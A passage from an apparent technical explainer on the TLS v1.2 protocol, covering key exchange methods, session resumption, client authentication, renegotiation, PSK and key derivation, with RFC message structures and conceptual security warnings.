\nverify_data\n PRF(master_secret, finished_label, Hash(handshake_messages))\n [0..verify_data_length-1];\n\n
The other peer verifies this value\nin order to ensure that the handshake has not been tampered with\n(eg. downgrading the TLS version, forcing usage of weaker cipher suites,\ndisabling TLS extensions, etc.).
\nThe client and the server can now exchange secured\n(encrypted and protected) messages over the TLS channel.
\nWhen one side does not need to send data on the TLS connection anymore,\nit sends a Alert
\nclose_notify
messsage to the other side with the warning
level\nto signal end-of-data.
The following key exchange algorithms support server authentication using public-key cryptography:
\nRSA
(RSA transport), the pre master secret is randomly generated by the client and sent encrypted using the server RSA public key[10];DH_DSS
/DH_RSA
, Finite Field Diffie-Hellman (FFDH) key exchange with static server key;ECDH_ECDSA
/ECDH_RSA
, Elliptic Curve Diffie-Hellman (ECDH) key exchange with static server key;DHE_DSS
,FFDH key exchange with ephemeral server key authenticated using a DSA digital signature;DHE_RSA
, FFDH key exchange with ephemeral server key authenticated using a RSA digital signature;ECDHE_ECDSA
, ECDH key exchange with ephemeral server DH key authenticated using ECDSA digital signature;ECDHE_RSA
, ECDH key exchange with ephemeral server DH key authenticated using RSA digital signature.The following key exchange algorithms are anonymous\n(unauthenticated ephemeral Diffie-Hellman exchange).\nThey do not authenticate the server:
\nDH_anon
, anonymous FFDH key exchange;ECDH_anon
, anonymous ECDH key exchange.Other key exchange algorithms are used for providing mutual authentication\n(i.e. both the server and the client are authenticated)\nusing a shared-secret (instead of public-key cryptography or in addition of it):
\nPSK
, RSA_PSK
, DHE_PSK
, ECDHE_PSK
for TLS-PSK\n(see appendix);SRP
for TLS-SRP;ECCPWD
for TLS-PWD.struct {\n select (KeyExchangeAlgorithm) {\n case dh_anon:\n ServerDHParams params;\n case dhe_dss:\n case dhe_rsa:\n ServerDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n case rsa:\n case dh_dss:\n case dh_rsa:\n case ecdh_dss:\n case ecdh_rsa:\n struct {} ;\n /* message is omitted for rsa, dh_dss, and dh_rsa */\n case ecdhe_dss:\n case ecdhe_rsa:\n case ecdh_anon:\n ServerECDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n };\n} ServerKeyExchange;\n\nstruct {\n select (KeyExchangeAlgorithm) {\n case rsa:\n EncryptedPreMasterSecret;\n case dhe_dss:\n case dhe_rsa:\n case dh_dss:\n case dh_rsa:\n case dh_anon:\n ClientDiffieHellmanPublic;\n case ecdh_dss:\n case ecdh_rsa:\n case ecdhe_dss:\n case ecdhe_rsa:\n case ecdh_anon:\n ClientECDiffieHellmanPublic;\n } exchange_keys;\n} ClientKeyExchange;\n
\nstruct {\n public-key-encrypted PreMasterSecret pre_master_secret;\n} EncryptedPreMasterSecret;\n\nstruct {\n opaque dh_p<1..2^16-1>;\n opaque dh_g<1..2^16-1>;\n opaque dh_Ys<1..2^16-1>;\n} ServerDHParams; /* Ephemeral DH parameters */\n\nstruct {\n select (PublicValueEncoding) {\n case implicit: struct { };\n case explicit: opaque dh_Yc<1..2^16-1>;\n } dh_public;\n} ClientDiffieHellmanPublic;\n\nstruct {\n ECParameters curve_params;\n ECPoint public;\n} ServerECDHParams;\n\nstruct {\n ECPoint ecdh_Yc;\n} ClientECDiffieHellmanPublic;\n
\nNote: usage of the server certificate private key
\nAfter validating the certificate chain,\nthe client need to ensure that server owns the corresponding private key\nin order to know it is actually communicating with the correct server.
\nFor the RSA
exchange method,\nthe client encrypts the master secret with the server public key:\nif the handshake terminates correctly (server Finished
message),\nthe server has managed to decrypt the master secret\nand has the server certificate private key.
For (EC)DHE_*
key exchanges, the server sends a signature\n(signed with the server certificate signing key)\nof the ephemeral DH server public key (and the random nonces)\nalongside the ephemeral DH server public key\nin the ServerKeyExchange
message.
For (EC)DH_*
key exchanges, the certificate contains\nthe server static DH public key.\nThe server uses the corresponding static private key in the DH key exchange.
Note: signing method in non-ephemeral key exchange cipher suites
\nIn TLS v1.1,\nthe digital signature algorithm indicated in key exchange algorithm name\nof non-ephemeral key exchange methods\n(eg. RSA
in ECDH_RSA
)\nused to indicate the algorithm\nused for the digital signature of the server certificate.
In TLS v1.2, the algorithm for the certificate signature is independent of the cipher suite:\ninstead, the supported signature algorithms are indicated by the signature_algorithms
extension.\nTherefore, the DH_DSS
and DH_RSA
cipher suites on the one hand and the\nECDH_ECDSA
and ECDH_RSA
cipher suites on the other hand are equivalent in TLS v1.2.
Key exchange | \nTLS v1.1 | \nTLS v1.2 | \n
---|---|---|
DH_DSS | \nStatic FFDH with DSA signature | \nStatic FFDH with any signature | \n
DH_RSA | \nStatic FFDH with RSA signature | \nStatic FFDH with any signature (same) | \n
ECDH_ECDSA | \nStatic ECDH with ECDSA signature | \nStatic ECDH with any signature | \n
ECDH_RSA | \nStatic ECDH with RSA signature | \nStatic ECDH with any signature (same) | \n
Note: forward secrecy
\nWhe using static Diffie-Hellman key exchange (DH_DSS
, DH_RSA
, ECDH_RSA
, ECDH_ECDSA
),\nan attacker which manages to obtain the server static private key\ncan compute the pre master secret of all past TLS communications based on that key\nand decrypt them.\nThis is problematic:\nan attacker could records all the encrypted TLS communications\nwith a given server in the hope of being able to exfiltrate the server private key\nin the future;\nusing this private key it would then be able decrypt all the previous recorded communications.
Using an ephemeral Diffie-Hellman key exchange (ECDHE_*
and DHE_*
) fixes this problem.\nWhen using such a method, an attacker cannot\nuse the static (signing) server private key\nto recover the pre master secrets of previous TLS sessions.\nThis property is called forward secrecy\nwith respect to the server signature private key.
The usage of methods which do not support forward secrecy is discouraged.
\nNote: anonymous key exchange
\nThe DH_anon
and ECDH_anon
\nkey exchange algorithms\nuse non-authenticated (anonymous)\nephemeral Diffie-Hellman key exchange.\nIn this case, the server does not send certificates (and signatures).\nAs these methods are not authenticated, they are vulnerable to active attacks.\nThey only provide opportunistic encryption.
Message authentication is always used in addition to encryption.\nThis prevents a man-in-the-middle from tampering with the protected data.
\nSome encryption schemes use authenticated encryption with additional data (AEAD):\nthey already protect against tampering.\nThis is the case for example for AES_128_GCM
, AES_128_GCM
\nand CHACHA20_POLY1305
.
Other encryption schemes (eg. AES_256_CBC
) do not protect against tempering.\nIn this case, an HMAC is included with each encrypted TLS records\nin order to provide message authentication:\nTLS uses MAC-then-encrypt by default for this\nbut the encrypt_then_mac
extension\ncan be used to negotiate the usage of encrypt-then-MAC instead.\nEncrypt-then-MAC is considered to be more robust\n(see \u201cThe Order of Encryption and Authentication for Protecting Communications\u201d).
Note: TLS v1.3
\nTLS v1.3 only includes AEAD encryption schemes.
\nIn all cases, the payload protection covers\nsome additional authenticated data (AAD)\nin addition to the payload:
\n\nadditional_data = seq_num + TLSCompressed.type +\n TLSCompressed.version + TLSCompressed.length;\n\n
In particular,\nthe sequence number (seq_num
)\nis incremented for each TLS record:\nthis prevents an attacker from replaying a TLS record.
If some error happens at any time (eg. in the TLS handshake),\nthe peer sends an Alert
message\nwith some other alert code.
enum { warning(1), fatal(2), (255) } AlertLevel;\n\nenum {\n close_notify(0),\n unexpected_message(10),\n ...\n} AlertDescription;\n\nstruct {\n AlertLevel level;\n AlertDescription description;\n} Alert;\n
\nThe close_notify
alert is sent by one peer when it does no have any mesasge to send\non the TLS connection.
In order to speed up/optimize the connection establishment,\nTLS supports the resumption of an existing TLS session.
\nThis can have two benefits:
\nTwo different mechanisms may be used for session resumption in TLS v1.2:
\nIn both cases, the session state\n(cipher, MAC, master secret, etc.) established in a previous TLS connection are reused\nfor the new TLS connection.\nAs the random nonces are different in the new connection,\nthe generated key material is different as well.
\nNote: TLS v1.3
\nSession resumption is very different in TLS v1.3.
\nIf the server supports classic session resumption,
\nServerHello
message while initializing a full handshake;opaque SessionID<0..32>;\n
\nLater,\nthe client may try to resume the session in order to avoid the overhead\nassociated with a full handshake:
\nClientHello
;ServerHello
(otherwise, it uses a fresh session identifier);A downside of the classic session resumption mechanism is that it requires a server-side state:\nthe server needs to store the state of each sessions in some cache.\nThe session ticket extension can be used to avoid the need for server-side cache.\nIt is used instead of session identifiers.
\nWhen the session_ticket
,\nis used the server may send an opaque session ticket in the NewSessionTicket
message\nas the result of a TLS handshake.\nThe client keeps this ticket and associates it with the master secret.\nThis ticket can then sent by the client in a in a new TLS connection\n(in the session_ticket
extensions of the ClientHello
)\nin order to resume the connection.
struct {\n uint32 ticket_lifetime_hint;\n opaque ticket<0..2^16-1>;\n} NewSessionTicket;\n
\nThe ticket is design to contain the session state\n(cipher, MAC, master secret, etc.).\nTherefore, it needs to be be much larger than the session identifier.\nThe session state are encrypted[11] and authenticated\nusing some key material known by the server.\nWhen the server receives the ticket,\nit checks that it is genuine (and still valid),\ndecrypts it and uses the session state in the ticket\nfor this new connection.
\nThe message NewSessionTicket
message is sent\nbefore the ChangeCipherSpec
and is therefore not encrypted.\nAn attacker can obtain the session ticket but cannot use it to resume\na connection on behalf of the client as it does not know the master secret.
Note: ticket content
\nAs the ticket is opaque to the client, the server may use any format at its convenience\nbut a recommended/suggested format\nis included in the RFC:
\nstruct {\n opaque key_name[16];\n opaque iv[16];\n opaque encrypted_state<0..2^16-1>;\n opaque mac[32];\n} ticket;\n\nstruct {\n ProtocolVersion protocol_version;\n CipherSuite cipher_suite;\n CompressionMethod compression_method;\n opaque master_secret[48];\n ClientIdentity client_identity;\n uint32 timestamp;\n} StatePlaintext;\n\nenum {\n anonymous(0),\n certificate_based(1),\n psk(2)\n} ClientAuthenticationType;\n\nstruct {\n ClientAuthenticationType client_authentication_type;\n select (ClientAuthenticationType) {\n case anonymous: struct {};\n case certificate_based:\n ASN.1Cert certificate_list<0..2^24-1>;\n case psk:\n opaque psk_identity<0..2^16-1>; /* from [RFC4279] */\n };\n} ClientIdentity;\n
\nThe RFC suggests using encrypt-then-MAC\nwith AES-CBC-128 for encryption\nand HMAC-SHA-256 for MAC.
\nNote: ticket content with OpenSSL
\nFor OpenSSL,\nthe ticket content\nis by default an encrypt-then-MAC\n(using AES-256-CBC for encryption\nand HMAC-SHA-256 for MAC)\nof the following ASN.1 structure:
\nASN1_SEQUENCE(SSL_SESSION_ASN1) = {\n ASN1_EMBED(SSL_SESSION_ASN1, version, UINT32),\n ASN1_EMBED(SSL_SESSION_ASN1, ssl_version, INT32),\n ASN1_SIMPLE(SSL_SESSION_ASN1, cipher, ASN1_OCTET_STRING),\n ASN1_SIMPLE(SSL_SESSION_ASN1, session_id, ASN1_OCTET_STRING),\n ASN1_SIMPLE(SSL_SESSION_ASN1, master_key, ASN1_OCTET_STRING),\n ASN1_IMP_OPT(SSL_SESSION_ASN1, key_arg, ASN1_OCTET_STRING, 0),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, time, ZINT64, 1),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, timeout, ZINT64, 2),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, peer, X509, 3),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, session_id_context, ASN1_OCTET_STRING, 4),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, verify_result, ZINT32, 5),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, tlsext_hostname, ASN1_OCTET_STRING, 6),\n#ifndef OPENSSL_NO_PSK\n ASN1_EXP_OPT(SSL_SESSION_ASN1, psk_identity_hint, ASN1_OCTET_STRING, 7),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, psk_identity, ASN1_OCTET_STRING, 8),\n#endif\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, tlsext_tick_lifetime_hint, ZUINT64, 9),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, tlsext_tick, ASN1_OCTET_STRING, 10),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, comp_id, ASN1_OCTET_STRING, 11),\n#ifndef OPENSSL_NO_SRP\n ASN1_EXP_OPT(SSL_SESSION_ASN1, srp_username, ASN1_OCTET_STRING, 12),\n#endif\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, flags, ZUINT64, 13),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, tlsext_tick_age_add, ZUINT32, 14),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, max_early_data, ZUINT32, 15),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, alpn_selected, ASN1_OCTET_STRING, 16),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, tlsext_max_fragment_len_mode, ZUINT32, 17),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, ticket_appdata, ASN1_OCTET_STRING, 18),\n ASN1_EXP_OPT_EMBED(SSL_SESSION_ASN1, kex_group, UINT32, 19),\n ASN1_EXP_OPT(SSL_SESSION_ASN1, peer_rpk, ASN1_OCTET_STRING, 20)\n} static_ASN1_SEQUENCE_END(SSL_SESSION_ASN1)\n
\nVulnerability: SSRF attacks through session resumption
\nBoth session resumption mechanisms can be abused to trigger some form of\nSSRF attacks on some protocols when used in combination with DNS rebinding.\nSee When TLS Hacks You.
\nWarning: session resumption and forward secrecy
\nWe have seen that TLS key exchanges based on ephemeral Diffie-Hellman\nprovide forward secrecy:\nif the long-term/persistent keys (eg. signing private keys) are compromised,\nthe security of the previously established sessions is not compromised.\nHowever, both session resumption mechanisms may compromise forward secrecy.
\nWhen using session identifiers for session resumption,\nboth the client and the server need to keep the session master secret\nin a session cache for a possibly long duration (depending on the implementation):\nan attacker getting access to this session cache could\ndecrypt all the (previous) connections based on the master secrets present in the cache.\nIf the cache is stored on a persistent storage,\nthe master secrets may still be present on disk\nafter they have been evicted from the cache.
\nWhen using session tickets for session resumption,\nthe tickets are sent in cleartext in both ClientHello
and NewSessionTicket
.\nThe session ticket usually contains the master secret\nencrypted with an encryption key possessed by the server\n(and authenticated using a MAC):
StatePlaintext.client_identity
\n(or a similar field such as the OpenSSL peer
field).For this reason,\nMozilla recommends to disable session tickets.\nAnother solution (depending on the implementation) might be to restart the server daily\nin order to purge the cache and renew the session ticket encryption key.
\nUsually, only the server is authenticated at the TLS level.\nHowever, TLS supports authenticating the client as well[12]\nusing public-key cryptography.\nThis is called mutual (or client) TLS authentication (mTLS).
\nWhen the server supports mutual authentication,\nit sends a CertificateRequest
message.\nThis message can include information about which certificates are accepted by the server:\nthe certificate_authorities
field can list\nthe distinguished names (DN) of the certificate authorities (CA)\n(either root or intermediate) accepted by the server.
enum {\n rsa_sign(1), dss_sign(2), rsa_fixed_dh(3), dss_fixed_dh(4),\n rsa_ephemeral_dh_RESERVED(5), dss_ephemeral_dh_RESERVED(6),\n fortezza_dms_RESERVED(20),\n ecdsa_sign(64), rsa_fixed_ecdh(65), ecdsa_fixed_ecdh(66),\n (255)\n} ClientCertificateType;\n\nopaque DistinguishedName<1..2^16-1>;\n\nstruct {\n ClientCertificateType certificate_types<1..2^8-1>;\n SignatureAndHashAlgorithm supported_signature_algorithms<2^16-1>;\n DistinguishedName certificate_authorities<0..2^16-1>;\n} CertificateRequest;\n
\nThe server advertizes which type(s) of client certificate\nit is willing to accept:
\nrsa_sign
, client authentication with RSA signature;dss_sign
, client authentication with DSA signature;ecdsa_sign
, client authentication with ECDSA signature;rsa_fixed_dh
and dss_fixed_dh
, client authentication with fixed FFDH key (both are identical in TLS v1.2);rsa_fixed_ecdh
and ecdsa_fixed_ecdh
, client authentication with fixed ECDH key (deprecated in TLS v1.2).If the client chooses not to authenticate itself,\nit sends an empty Certificate
message:\nthe server may choose to either accept or reject (by terminating the TLS connection with a handshake_failure
error)\nnon-authenticated clients.
If the client chooses to authenticate itself,\nit first sends its certificate chain in a Certificate
message:
*_sign
)\nthe client then sends a CertificateVerify
message\nwhich contains a signature of all the previous handshake messages.*_fixed_dh
or *_fixed_ecdh
),\nthe client does not generate an ephemeral public key\nbut uses the public key in the certificate.\nThis is only possible if the cipher suite\nuses a compatible Diffie-Hellman key exchange (FFDH vs. ECDH)\nand the same Diffie-Hellman parameters.\nThe rsa_fixed_ecdh
and ecdsa_fixed_ecdh
client certificate types\nare supposed to be only usable using ECDH_ECDSA
and ECDH_RSA
\n(i.e. non-ephemeral) key exchanges\n(but I did not find the associated requirement for rsa_fixed_dh
and dss_fixed_dh
).struct {\n digitally-signed struct {\n opaque handshake_messages[handshake_messages_length];\n }\n} CertificateVerify;\n
\nWarning: privacy consideration
\nThe client identity (included in the certificate) is sent in cleartext.\nThis is not ideal for privacy in many contexts.\nFor example, for authenticating a user: the user name or email may be present in the user certificate\nand could be sent in cleartext.\nSome details are provided in appendix.
\nIt is possible to prevent this by doing the client authentication as part of a TLS renegotiation.
\nWarning: forward secrecy
\nUsing a static client DH key pair poses the same problem as using a static server DH key pair:\nif an attacker manages to get the static private DH key, he can then decrypt all the previous TLS\nsessions initiated using that static key (lack of forward secrecy).
\nNote: mid-session client authentication with HTTP
\nWeb applications often used to rely\non mid-session TLS client authentication:\nthe server would only request TLS client authentication\n(using TLS renegotiation)\nwhen the client would request some restricted resources.\nHowever, mid-session client authentication is only supported with HTTP/1.x.
\nIn HTTP/2, TLS renegotiation is only permitted\nin order to provide confidentiality protection for client credentials (the client certificate).\nTLS renegotiation must not be used to for mid-session client authentication with HTTP/2.
\nTLS renegotiation has been removed in TLS v1.3.\nIn TLS v1.3, post-handshake client authentication\ncould arguably be used instead of TLS renegotiation.\nHowever, its usage is forbidden both in HTTP/2\nand in QUIC\n(which is used a transport for HTTP/3)\nbecause it does not play nicely with request multiplexing.
\nMoreover, TLS v1.3 post-authentication support is not widely support in browsers\nand is probably not going to be widely supported:
\nsecurity.tls.enable_post_handshake_auth
);Application | \nTLS | \nStatus of mid-session client authentication | \n
---|---|---|
HTTP/1.1 | \nv1.2 | \nsupported (with TLS renegotiation) | \n
HTTP/1.1 | \nv1.3 | \ntheoretically supported (with TLS v1.3 post-handshake authentication) but not implemented in practice | \n
HTTP/2 | \nv1.2 | \nnot supported (TLS v1.2 renegotiation only allowed to provide confidentiality to the authentication) | \n
HTTP/2 | \nv1.3 | \nnot supported (TLS v1.3 post handshake authentication forbidden with HTTP/2) | \n
HTTP/3 | \nv1.3 | \nnot supported (TLS v1.3 post handshake authentication forbidden with QUIC, HTTP/3) | \n
Warning: Key Compromise Impersonation
\nWhen the client uses static DH authentication\n(rsa_fixed_dh
, dss_fixed_dh
, rsa_fixed_ecdh
and ecdsa_fixed_ecdh
),\nwith a TLS_(EC)DH_*
key exchange,\nthe actual key exchange is static-static DH\nwhich is vulnerable to Key Compromise Impersonation (KCI).\nIf an attacker manages to get the static DH private key of one participant (Alice),\nhe can not only impersonate this participant (Alice)\nbut any other participant (eg. Bob) when talking to Alice.\nA practical vulnerability (CVE-2015-8960)\nis detailed in appendix.
The client may start a new handshake\nin order to renegotiate the security parameters of a connection\nat any time after the initial handshake.
\nWhy?\nReasons for using TLS renegotiation may include:
\nCertificate
message is transmitted in the handshake before the CipherSpecChaneg
\nmessage. It is therefore sent in cleartext in the initial handshake.\nDoing the mutual client authentication in a renegotiation handshake can be used to avoid sending the\nuser Certificate
in cleartext.How?\nIn order to do this, the client sends a ClientHello
message\nand proceeds with a new handshake.\nThe client may start the TLS renegotiation unilaterally\nor at the request of the server (HelloRequest
message).\nAs the renegotiation handshake happens after the ChangecipherSpec
,\nit is protected (encrypted) using the key material of the existing connection.
struct { } HelloRequest\n
\nWarning: security impact of TLS renegotiation
\nTLS renegotiation can be considered to be a dangerous feature.\nSeveral vulnerabilites are related to renegotiation\nsuch as CVE-2009-3555\n(see the explanations in RFC5746)\nor 3SHAKE.
\nTLS renegotiation has been removed (and replaced with other mechanisms) in TLS v1.3.\nHTTP/2 explicitly forbids the usage of TLS renegotiation\nin many cases.
\nSecure renegotiation\nis a fix at the TLS protocol level for CVE-2009-3555.\nIn introduces the renegotiation_info
TLS extension.\nIn the initial handshake, this extension is only used to negotiate the usage of secure renegotiation.\nIn the renegotiation handshake, these extension contain:
verify_data
of the original handshake;verify_data
and the server verify_data
of the original handshake.Vulnerability: unsafe TLS renegotiations
\nTLS renegotiation without renegotiation_info
is not safe\n(vulnerable to CVE-2009-3555.\nUnsafe (legacy) TLS renegotiation is disabled by default in current implementations.\nFor example, with OpenSSL,\nthe SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION
\noption must be set in order to accept unsafe renegotiations.
Note: extended master secret
\nThe extended_master_secret
extension\nhas been introduced to fix the 3SHAKE attack.\nThis attacks combines renegotiation and session resumption\nin order to break client authentication.
By default, TLS uses X.509 certificates.\nAlternative public keys formats\ncan be used instead of X.509 certificates using the\nclient_certificate_type
and server_certificate_type
TLS extensions.
This can be used to use exchange raw public keys instead of X.509 certificates.\nIn this case, the Certificate
messages contain the raw public key of the peer.\nRaw public keys may for example, be used for IoT applications\nin order to avoid relying on a public key infrastructure (PKI).\nThe devices may for example be\nidentified with a hash of their public keys.\nAlternatively, a similar result could be achieved by exchanging self-signed X.509 certificates\nand only process the public keys.
opaque ASN.1Cert<1..2^24-1>;\n\nstruct {\n select(certificate_type){\n\n // certificate type defined in this document.\n case RawPublicKey:\n opaque ASN.1_subjectPublicKeyInfo<1..2^24-1>;\n\n // X.509 certificate defined in RFC 5246\n case X.509:\n ASN.1Cert certificate_list<0..2^24-1>;\n\n // Additional certificate type based on\n // \"TLS Certificate Types\" subregistry\n };\n} Certificate;\n
\nTLS-PSK\nincludes key exchange algorithms which provide mutual authentication\nbased on a (per-client) shared secret, the pre shared key (PSK):\npublic key cryptography is not used for server (or client) authentication at all\n(no certificate is used).\nThis can be useful for low-performance environments\nsuch as IoT applications.
\n\nPSK key exchange algorithms:
\nPSK
, mutual authentication based on a PSK;RSA_PSK
, mutual authentication based on a PSK combined with a RSA encrypted secret;DHE_PSK
, mutual authentication based on a PSK combined with an ephemeral FFDH key exchange;ECDHE_PSK
mutual authentication based on a PSK combined with an ephemeral ECDH key exchange.Warning: forward secrecy
\nThe PSK
key exchange algorithm does not provide forward secrecy with respect to the PSK.
The RSA_PSK
key exchange algorithm does not provide forward secrecy either:\nan attacker which has both the PSK and the server RSA private key\ncan decrypt previous communications.
The DHE_PSK
and ECDHE_PSK
key exchange algorithms\nuse ephemeral Diffie-Hellman to provide forward secrecy with respect to the PSK.
Warning: other security considerations
\nSee the next episode about TLS v1.3\nfor more security considerations about the usage of PSK in TLS\nmost of which applies to TLS v1.2 as well.
\nSummary:
\nA psk_identity
is included in the ClientKeyExchange
.\nIt has the same role as login,\nidentifying the client that is trying to authenticate.
Warning: privacy consideration
\nThe client sends its PSK identity in cleartext.
\nstruct {\n select (KeyExchangeAlgorithm) {\n case psk:\n opaque psk_identity_hint<0..2^16-1>;\n case diffie_hellman_psk:\n opaque psk_identity_hint<0..2^16-1>;\n ServerDHParams params;\n case rsa_psk:\n opaque psk_identity_hint<0..2^16-1>;\n case ec_diffie_hellman_psk:\n opaque psk_identity_hint<0..2^16-1>;\n ServerECDHParams params;\n };\n} ServerKeyExchange;\n\nstruct {\n select (KeyExchangeAlgorithm) {\n case psk:\n opaque psk_identity<0..2^16-1>;\n case diffie_hellman_psk:\n opaque psk_identity<0..2^16-1>;\n ClientDiffieHellmanPublic public;\n case rsa_psk:\n opaque psk_identity<0..2^16-1>;\n EncryptedPreMasterSecret;\n case ec_diffie_hellman_psk:\n opaque psk_identity<0..2^16-1>;\n ClientECDiffieHellmanPublic public;\n } exchange_keys;\n} ClientKeyExchange;\n
\nWarning: low-entropy secret
\nTLS-PSK should be used with high entropy PSK.\nIt should not be used with PSKs derived from passwords:\nsee TLS-SRP\nand TLS-PWD\nfor password-based mutual authentication at the TLS layer.
\nThe random values in the hello messages are used for:
\nThis prevents some forms of replay attacks\nby ensuring that\nboth participants contribute some ephemeral value to the master secret.\nThis is especially important when non non-DHE key exchange is used\nor for session resumption.
\nThe random values are used as well in the digital signatures\nused for authentication (for example in in the DHE_*
and ECDHE_*
key exchange algorithms):
struct {\n select (KeyExchangeAlgorithm) {\n case dhe_dss:\n case dhe_rsa:\n ServerDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n case ecdhe_dss:\n case ecdhe_rsa:\n case ecdh_anon:\n ServerECDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n };\n} ServerKeyExchange;\n
\nBy including a new random for each TLS connection,\nthe client can be sure that the server ephemeral DH public key is not being replayed.
\nThe hash function included in the cipher suite is used:
\nThe TLS PRF is used:
\nverify_data
field in the Finished
messages (working as a MAC);The pre master secret is obtained as a result of the key exchange algorithm.\nDepending on the key exchange algorithm it may:
\nRSA
key exchange);The master secret is derived from pre master secret\nand the two nonces (client and server random).\nThe master secret is reused in case of session resumption.\nIt is computed as:
\n\nmaster_secret = PRF(pre_master_secret, \"master secret\",\n ClientHello.random + ServerHello.random)\n [0..47];\n\n
where the PRF\ndepends on the cipher suite.
\nThe inclusion of the server and client nonces\nprevents some form of replay attacks\nby making sure that both participants contribute some ephemeral value\nto the master secret.
\nWhen the extended_master_secret
extension is used,\nthe hash of all the previous handshake messages is used\ninstead of only using the server and client random values.\nThis binds the master secret with the full TLS handshake\nwhich fixes the triple handshake attack.
\nmaster_secret = PRF(pre_master_secret, \"extended master secret\",\n session_hash)\n [0..47];\n\n
When using session resumption, the same master secret is reused\nfor all connections associated with the same TLS session.
\nNote: importance of the master secret
\nThe master secret (or the pre master secret) is everything needed\nto decrypt all the connections belonging to a given session,\nhijack them, or create new connections from the session\n(if session resumption is enabled).
\nThe key material is computed as:
\n\nkey_block = PRF(SecurityParameters.master_secret,\n \"key expansion\",\n SecurityParameters.server_random +\n SecurityParameters.client_random);\n\n
This key material is decomposed in client and server MAC keys,\nencryption keys and initialization vectors (IV):
\n\nclient_write_MAC_key[SecurityParameters.mac_key_length]\nserver_write_MAC_key[SecurityParameters.mac_key_length]\nclient_write_key[SecurityParameters.enc_key_length]\nserver_write_key[SecurityParameters.enc_key_length]\nclient_write_IV[SecurityParameters.fixed_iv_length]\nserver_write_IV[SecurityParameters.fixed_iv_length]\n\n
As the master secret is reused in case of session resumption,\nthe inclusion of the server and client random values ensures\nthat the key material changes is different from different TLS connections in the same TLS session:\nthis prevents replay attacks through session resumption.
\nThe Keying Material Exporters mechanism\ndefines a way to generate key material\nas a result of the TLS connection\nto be used in other protocols.
\nThis can either be:
\n\nPRF(SecurityParameters.master_secret, label,\n SecurityParameters.client_random +\n SecurityParameters.server_random\n )[length]\nPRF(SecurityParameters.master_secret, label,\n SecurityParameters.client_random +\n SecurityParameters.server_random +\n context_value_length + context_value\n )[length]\n\n
where the label depends on the consuming application/protocol.
\nA IANA registry of existing labels\ncan be used to find some usages of this feature.
\nNote: Key exporter usage in OpenVPN
\nOpenVPN uses this feature\nfor generating key material from the TLS handshake.\nSee the generate_key_expansion_tls_export()
and\nkey_state_export_keying_material()
functions.
Note: similar mechanism in some EAP methods (eg. WPA-entreprise)
\nSome EAP methods such as EAP-TLS\nuse a similar approach to export resulting key material, a master session key (MSK),\nwhich may be used by lower layer protocols.\nFor example, in WPA-entreprise (aka WPA-EAP),\nthe MSK exported by the EAP method\nis used to derive Wifi key material:\nthese keys are used to encrypt and authenticate the Wifi frames.
\nThis EAP-TLS method does not explicitly mention\nthe key exporter mechanism as it predates the key exporter RFC.
\nIn some applications,\nno application protocol data is transported on top of the TLS connection.\nInstead, the TLS protocl is only used for the secure handshake and the authentication it provides.\nThe secrets established in the TLS handshake\nmay be used to generate cryptograpic material for another protocol\n(see the Keying Material Exporters)\nwhich does not sit on top of TLS.\nThis approach is for example used in\nOpenVPN,\nWPA-EAP (WPA-entreprise) with EAP-TLS,\nand QUIC[14]).
\n\n [ TLS | IP ]\n[ TLS | IP or Eth. ] [ EAP-TLS | SNAP ] [ TLS ] [ TLS | HTTP3 ]\n[ OpenVPN ] [ EAP | LLC ] [ EAP-TLS ] [ QUIC ]\n[ TCP or UDP ] [ EAPOL | CCMP ] [ EAP | IP ] [ UDP ]\n[ IP ] [ Wifi ] [ PPP ] [ IP ]\n OpenVPN WPA2-EAP PPP HTTPS\n with with (HTTP/3)\n EAP-TLS EAP-TLS\n\n
Some EAP methods\n(EAP-TTLS,\nPEAP and\nTEAP)\nuse TLS to secure (\u201ctunnel\u201d) the traffic of another authentication method.\nAs before, the secrets established in the TLS handshake\nmay be used to derive exported key material\nfor other protocols (eg. in WPA-EAP).
\n\n [ ... ]\n [ EAP ] [ PAP ] [ CHAP ] [ MS-CHAP ] [ ... ] [ ... ]\n [ AVP ] [ AVP ] [ AVP ] [ AVP ] [ EAP ] [ EAP ]\n[ mTLS ] [ TLS ] [ TLS ] [ TLS ] [ TLS ] [ TLS ] [ TLS ]\n[ EAP-TLS ] [ EAP-TTLS ] [ EAP-TTLS ] [ EAP-TTLS ] [ EAP-TTLS ] [ PEAP ] [ TEAP ]\n[ EAP ] [ EAP ] [ EAP ] [ EAP ] [ EAP ] [ EAP ] [ EAP ]\n[ ... ] [ ... ] [ ... ] [ ... ] [ ... ] [ ... ] [ ... ]\n EAP-TLS EAP PAP CHAP MS-CHAP EAP EAP\n over over over over over over\n EAP-TTLS EAP-TTLS EAP-TTLS EAP-TLS PEAP TEAP\n\n
See the EAP-TTLS AVP Usage subregistry\nfor list of authentication methods compatible with EAP-TTLS.
\nIn TLS v1.2, the client sends its certificate chain before the cipher change.\nAs a consequence, the certificate chain is sent in cleartext\n(unless it is sent as part of the TLS renegotiation).\nFor example, some VPN solutions (eg. OpenvPN)\nprovide support for mTLS based client authentication.\nIn this case, the identity of the client might be leaked\nin cleartext.
\nThis can be seen in the following screenshot\nof Wireshark inspecting\nan OpenVPN handshake.
\n\nText version:
